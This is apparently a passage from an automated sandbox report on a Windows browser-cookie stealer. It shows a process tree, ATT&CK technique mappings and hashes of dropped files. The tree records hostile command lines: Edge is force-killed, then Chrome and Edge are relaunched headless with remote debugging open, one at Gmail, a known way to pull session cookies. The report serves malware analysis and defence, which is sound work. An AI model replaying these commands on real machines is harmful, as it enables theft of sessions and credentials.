      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --headless --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1948,i,16483776294473045806,12137405911570873936,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=1944 /prefetch:2
      4⤵
      PID:3708
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1948,i,16483776294473045806,12137405911570873936,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2360 /prefetch:13
      4⤵
      PID:2276
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9224 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=1948,i,16483776294473045806,12137405911570873936,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3644 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:2424
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9224 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=1948,i,16483776294473045806,12137405911570873936,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3672 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:4320
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9224 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=1948,i,16483776294473045806,12137405911570873936,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4132 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:5700
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9224 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=1948,i,16483776294473045806,12137405911570873936,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4140 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:1740
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1948,i,16483776294473045806,12137405911570873936,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4856 /prefetch:14
      4⤵
      PID:5416
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9224 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --field-trial-handle=1948,i,16483776294473045806,12137405911570873936,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4968 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:3376
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9224 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --field-trial-handle=1948,i,16483776294473045806,12137405911570873936,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5656 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:7076
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM msedge.exe"
    3⤵
    - Executes a command shell one-liner
    PID:4292
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM msedge.exe
      4⤵
      Kills process with taskkill
      PID:4592
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --restore-last-session --remote-debugging-port=9222 --remote-allow-origins=* "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --profile-directory=Default https://mail.google.com
    3⤵
    - Uses browser remote debugging
    PID:5772
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x25c,0x260,0x264,0x258,0x2d4,0x7ff96a47c188,0x7ff96a47c194,0x7ff96a47c1a0
      4⤵
      PID:5684
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2384,i,13908513218935869979,4259999346193033410,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2420 /prefetch:11
      4⤵
      System Time Discovery
      PID:3132
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --headless --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --field-trial-handle=2384,i,13908513218935869979,4259999346193033410,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2380 /prefetch:2
      4⤵
      PID:3308
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2384,i,13908513218935869979,4259999346193033410,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2876 /prefetch:13
      4⤵
      PID:3136
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --pdf-upsell-enabled --force-high-res-timeticks=disabled --remote-debugging-port=9222 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --field-trial-handle=2384,i,13908513218935869979,4259999346193033410,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4028 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:2588
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --remote-debugging-port=9222 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=2384,i,13908513218935869979,4259999346193033410,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4032 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:3724
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --pdf-upsell-enabled --force-high-res-timeticks=disabled --remote-debugging-port=9222 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --field-trial-handle=2384,i,13908513218935869979,4259999346193033410,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4588 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:5952
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --remote-debugging-port=9222 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --field-trial-handle=2384,i,13908513218935869979,4259999346193033410,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4752 /prefetch:9
      4⤵
      Uses browser remote debugging
      PID:4864
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2384,i,13908513218935869979,4259999346193033410,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5344 /prefetch:14
      4⤵
      PID:4284
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --pdf-upsell-enabled --force-high-res-timeticks=disabled --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --field-trial-handle=2384,i,13908513218935869979,4259999346193033410,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5632 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:5504
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --pdf-upsell-enabled --force-high-res-timeticks=disabled --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --field-trial-handle=2384,i,13908513218935869979,4259999346193033410,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5748 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:6228

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:5968

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:1744

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:2524

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Modify Authentication Process

T1556

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Authentication Process

T1556

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Modify Authentication Process

T1556

Steal Web Session Cookie

T1539

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Update.vbs

Path C:\ProgramData\Update.vbs
Size 146B
SHA256 adf620f57f4c7ab52658e184337e9a6fc97d687eecb7782bbd1f7be888a1bd36
MD5 927e7d685c0d9a28800b61aa5232166e
SHA1 d535ebbc07f61fed953cf19b1ce41b45f8f1ce56
SHA512 ef4b28234a1f7a0404d537b3c97541849d0811d07d68c7a2663f6ff943ca72daf56e4643c5d436e49f5fb3debbc9d2d9a7f30b5c9e01a4d28b164567ca174ccf
TLSH
T11EC02B05CC0FC829024DC1770B70820D8BE00C3913031B354710C40C33010851399312
MD5 SHA1 SHA512 TLSH

Submit Download

81fb0cb6-0961-47c3-a377-d5c1bdc351c3.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\81fb0cb6-0961-47c3-a377-d5c1bdc351c3.tmp
Size 6KB
SHA256 fb79096ed32b28c01e3941a547d5f7479f20ffdaea1e184cbd64ec91af7270f6
MD5 41ac1e59065d5fec3807b465acaf7098
SHA1 fe5bd569fd92632315e72d26dc47dbe65b047965
SHA512 2d8917b6464ab250011e4e13a845f1879f95ac3da25c476a63cd0c497606a3e47102d5e36f4d77267da4f54150bea50f2d3af1e58baf5fede4ef961a01950331
SSDEEP 96:BC67d+6K6ujgRdfB7rsM6obTSl8h4otoZ45oPDUB63rGovLscx+AkT5i0j9IooON:BCSCvgFrp6YiUzkYLfcQAkT5iURuG
TLSH
T153C10BB0E4ACB87716F7E489B4022A43CF74717BA5416E44DDDA4F1C15E71EC1782A23
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

89b694bd-25ec-454c-8d2b-7cc1c879519a.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\89b694bd-25ec-454c-8d2b-7cc1c879519a.tmp
Size 4KB
SHA256 530898f9f50eab4c601703dd04d7e1787464702d31ab0a40c9b754f4fdb5196d
MD5 df50b87bc6b15b859f23c87c5adcd512
SHA1 c7b8476751fefa71c09d5f33b6429a1886a6a5c5
SHA512 fd78a2bf0ea4b529a91d2cddad2fda45ad7be35d75930c92ad9fd3ba5b3adc2b2522a8c733676c245e853ff4720609bcf3ed73f92ccb8888acfebecdf77cd300
SSDEEP 96:uC0d+6K6ujgRdfB7rsM6abCRDotok5obDUB6RGyvLscFTebQMUpW4a:uC0CvgFrp65DUDIYJVcFTeb3US
TLSH
T1C5A10971E0A9687B15F6D489B8412B03CF74617BB951AF44D9EE5F1C28B74FC1382623
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat
Size 40B
SHA256 e9f81930d13a2014b669676864b3f048360305d0251b80c51876614e54332b30
MD5 00d827f76c83754f86aa8e4ba4927539
SHA1 13dc0f6ec80d5cab62301dc0986ae44407b62bda
SHA512 44197eb94065e93bed498ad2856442625cd368015a93e02c4b3f4433e08e4d6922164ce9b028e9aaa2f8302d83ae1da739318f393566208349b01a4302d1bd6f
MD5 SHA1 SHA512

Submit Download

data_0

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\data_0
Size 44KB
SHA256 1caa57a8b55c2fb1552310bd89e4bdba61037e5afbd0c1a09b15709448c2b343
MD5 7652c2dda1490a55cbeb560918cc6166
SHA1 7a3dcdd49963986f885e748608f3a5e5a2766ea9
SHA512 29a7b40b185349a88530c2b6e8f53472a54e544f088c03560351c2d01cc599250eefec56d2fb034e87b17f2d0e18e2bf64424020cce68c5555ad13def0aedb0f
SSDEEP 6:/FSLcAz/Gn/69k8lukYpVrEt2MQkTMmG9llL00uM2q/g9NEXhTz4WsZsj8Solec:dVAz19drSrEt9YLu8gMhTJsZsjilH
TLSH
T19813C22CFA828F25D6B6803E44871BB3A334E458E9E0C207A13CF2393491703018C27D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\data_1
Size 264KB
SHA256 e48bb7477918aedf6c8b131ef6b32c69dcb09b44d25889a7a989080313d26f57
MD5 61f138c5806fb4b1c121e599c348ffc3
SHA1 8a2b96cac6a81bf02dc7c61b7021540a1747609f
SHA512 681d53c9e7f90f8588db67d85b5d264a9f29b6c6ca363ad9f2d8c546e4bc00c9ec40dcec91c370d280ea09ca039c16da8058f4abca681d84cf735411c90d322e
SSDEEP 24:ew9go/XCCIaa9giHA2hEzDh5yQdm3Ws0tC95no+nVyS3Z12RNAukAuMlhSPX7:eQ/IaaZHrE5sQ6Ws8C/0s2RN/k/Cc
TLSH
T1BA4432F77C44511BEB3483F85052B23E9937821CACEDEECDE9240AB758D0E2990A15E9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data_2

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\data_2
Size 1.0MB
SHA256 5a3a2e3f740e4f334461d29b4202a1b4391ab3f27fe8620470c862bf133f8068
MD5 43feb4825d83ee0acd0c0f8b381a75f4
SHA1 20c08abfa0ba5645ccce5f2df157494475761635
SHA512 85d42bf7a768361a03fdd9ef1c324c6be2865a330c82edf550b423bf693785b6f9d2b569f746bf75cdf67e4980865bd1de9a1c8c0e09e78fc84f284da6217669
SSDEEP 384:Njq5sjqIUfDPLGRgcRUv+hTBQpqzsPmTOCZ0+IDaMHujVRQjVRpYTbJ8+WA7Kn:7UfDPLSgcRUv+uqwPmTo+I0kd+h
TLSH
T1C725F8CE0B186AC3DBA3D931E9C5C87D2DF82296AEC664436041C9B654D3FC11F9279E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extension State\LOG
Size 320B
SHA256 082b58f7d3c6b4e9c1146b576e206cc66d4e05b565be66ad46e7e5b3e2bf3035
MD5 172330b1041aac06faf71a0c08ef734a
SHA1 20d1d88251a5815dc5b3011a5a418c55a12aed6e
SHA512 e43de886690ff4b8362dbbf91527646758381339b8183e9f84257b7e6678b629d365cafaad346baf637f8e183fb1f94aef63ea0a3f7b182ed287f08e5696912e
TLSH
T141E08C492D8DCA2E50F8846347BEB30CCAE07D05B7CC7E1A1B4ED940218190AF2D4264
MD5 SHA1 SHA512 TLSH

Submit Download

Favicons-journal

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Favicons-journal
Size 14KB
SHA256 ea1bc35e3a525fb3fe1008e8d94dd7b9823e5c6f9e26baf12e3b5f0276c49592
MD5 084efe4751b44c8f9e1ea3b232b6a3f7
SHA1 1a3a57173da367082e2566f58cadb9126c5e1e9a
SHA512 f23ee84492198a67cf3c5c0302baf4577bb7c64a85462b27df51d52063308bfd15a2fd8d8d38b8de5ebbf986f82a0240901e580150b5b9a1648b8878ecaabe98
SSDEEP 3:5aHtlY1lDutPlDQ/tlD7lt1lD+tPlDD/tlDd/tlD0:5aIrutBQ7hZ+77TZ0
TLSH
T1C06201054C50037DC83140B14E62303432F230CB5C461704304C1130089F1D89B401FC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

History-journal

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\History-journal
Size 40KB
SHA256 61784fe183353a467a4478c3062ec476136ce0494aa25abec082fa637552f248
MD5 b59414f01778af9af9cc418f70618472
SHA1 7c3f8655fe129e8448c58d52c88d031c5babac66
SHA512 269f9485222e3382673bd79095a6067a04c99d6d5a907229b22d8a77d08eb00f5798db3532833c5c3926e6ab521a573f51e9cbf4bd163b6e20cb293bb598b58b
SSDEEP 3:ZtgllvlNlldNll5tgllElNll5tgllhfll5tgllyfll5tgll/lNll5tgllIFll5t4:slely0lHcljl+lGWl8lvlnl/cn
TLSH
T1F2130009AB5103B0C82F80B85E63F0D4E5762CAB48C1171030DD1D2C587751D19B4DCB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\LOG
Size 329B
SHA256 38cce1ccb57c05c25eafd84cda001bc07cf2c5077d0324a2ef275c0e727d48c8
MD5 71366adb013969ab6ca63165de872c03
SHA1 7195814011b40d05045e5dd5eb71261131bda413
SHA512 2e9b0e2e41d50abe36408d1961fc036a54ed480f17a5f6d074da12370752e9fac5c7ab97b81c1b1e2dbe7a3c564f737663923898448b2313a3b57da1abf23b10
TLSH
T1DCE02696248DC63E11A8902F02B8770CCBF07D05F7CD6A0A0B00E848B0C5408E6D47E1
MD5 SHA1 SHA512 TLSH

Submit Download

5a3e4253-1dcb-47cd-aae9-9c18e5c357ec.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\5a3e4253-1dcb-47cd-aae9-9c18e5c357ec.tmp
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 11KB
SHA256 2e3ea5d7a82f45c2a5c17bd5cfc5028b7568a4427824813243d6a4aa9a70caa2
MD5 ca6829ee7c907396ab32d9ea8341d10f
SHA1 174fff31e882fc242bc267f72ffd5c127595d365
SHA512 0f9e60accfde0774a9779228c897becad91c25a8ac190b664c9de23de1eacd4d343210f68c504cd3017014dc1b0c695db63a81697b253db934df8ba964d9830b
SSDEEP 192:eReKiYNwv7rvAPRp2WqyzXsb+WNnAo6QqR2W0eMFy22yj2viyIsnAUgR:eReKiYNsH6XBXwAJ72pFy22o26R
TLSH
T1DD32A72AEE11793B5DDBC216FD617B57E6FA002636911E84EAFC883C14E7ADC2217407
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\Database\LOG
Size 336B
SHA256 8acb8f78d411c30014aacdbc9edcfc92c826ca5178460caa7302d81907437d27
MD5 f49cff074a36d470bc3f691189a22e31
SHA1 2da67409659c866f53ff17e5a3f11bb4697dc9ed
SHA512 158a5d06c38cd02261914658dca828831e6d3f4a418fb076f53ba7604e31019426c584328df9bed8bf62305a05c5463f495f911c57387822baa0de818d398b0f
TLSH
T119E04F552AC9C57E60BD911302E4A30DC7E8B916F7CDAA162F85DA9011C5949B1D1260
MD5 SHA1 SHA512 TLSH

Submit Download

000003.log

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Session Storage\000003.log
Size 269B
SHA256 c26846b206e94377b1626632e90a21ba2dc55b5eabca6763696a89bf53f54aca
MD5 4915b4f21c1e36a2d34c6b101deb69f4
SHA1 639e8b7cfdf9982f85c3f5cf6c794d624931feb1
SHA512 735183ba3f1d52d424ad9a13a555ef4ece6ade3dbbe4b29960986fc5c0a59b134a11b143e19bf0f5b0cad1bc48f3d18b728b667309b085fa621c4a2e5f42dd4f
TLSH
T1E3D012CB1EC47427FCCCC7B01D861324BF23C47E0F254E97C9DC62960A5B9A63001082
MD5 SHA1 SHA512 TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Session Storage\LOG
Size 317B
SHA256 27cfa7e9a202ee0cb70b171065cc8c76bcf78e01f1859c485fada6926b1b3169
MD5 4066195424851342f41958ee1b422675
SHA1 818813c527c8ecf7334e4680da737a0633d44d07
SHA512 2fa1581e569555b6041d03b0852812d474845d65abfda716b42ced5b569764b9d3e3da4af4d75da5caa52898087d6d3502734eaa79b219eb9477b9bf9467e893
TLSH
T1D2E0CD9D28C9C53E61B8C02702B4734DC7F17916F7EC6C1A1B01D88522C640672D56B4
MD5 SHA1 SHA512 TLSH

Submit Download

Session_13438107250882855

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Sessions\Session_13438107250882855
Size 5KB
SHA256 bdfbd27e15d66fcbeb89deb8568225ec42f83573d5835eea7e0f59c75a3a4eb5
MD5 dc8587f19823b47b1507cb435a17f696
SHA1 a9370d88939430a30aa61f4f4fdba6fc0321ff50
SHA512 f0d147364f0d0edebd47dd988831a43d41caebb948b93e7f710ff2caea16a1d6e3c936c2e0158950f8349e5a4337b95870ce08560f25c157c025180371307a0a
SSDEEP 48:3qYGRA7GREXihtZ8VUt19IkiciZiSAinxEStFZT6ejx19IkiciZiSAinxEStFZSK:3bqZFMxEEZXdMxEEZuNM0oQKaYBecnB
TLSH
T109C1DB1669F4013EE27F433DE5B611F2BEF2BA0234869D2F407652150853F521AB1EAE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\LOG
Size 348B
SHA256 e0e568fc4ff90132ef02a6af0025fd4364eeea53a03e6675888211b0de95495a
MD5 9951c4bd1a1ad50a8d91b13d292e09b1
SHA1 06135e6fd823771b207fe9c2e823ea060578e640
SHA512 a8838763099787dbf8848af7b0762214831fe62ac724fbfb4c9ac95c3a2ea48ba654d61027bf6a6e886c4575c10c9c7d524d60ed61588ead2c4f1d5b3204e50c
TLSH
T1D1E0DF292ACDCA6F10AA805B12B4F30CC6F1B821F7DD9426AF04E28063C9C0471C2260
MD5 SHA1 SHA512 TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB\LOG
Size 324B
SHA256 426fb051168f6fbda18423c56c10f61b850df7ad0c6979780c085ede11134e29
MD5 e989ecadb5fe60069d1d858d917cc42c
SHA1 7922b5f21d698c53dd348c17726a9bf65fa92812
SHA512 647d287409b3cca38e48b840b47e09d901536f1fa7d3774a751f255f2a3da09ca0634265d0dc73c5df2bd3b0092de12ab962491a58e48862ff70a0149f0c8f5e
TLSH
T1CCE0867525C9CB7D14ADC05312F4B30D87F5FE06B7C9F65B67059441718594471E4AA0
MD5 SHA1 SHA512 TLSH

Submit Download

QuotaManager-journal

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\WebStorage\QuotaManager-journal
Size 8KB
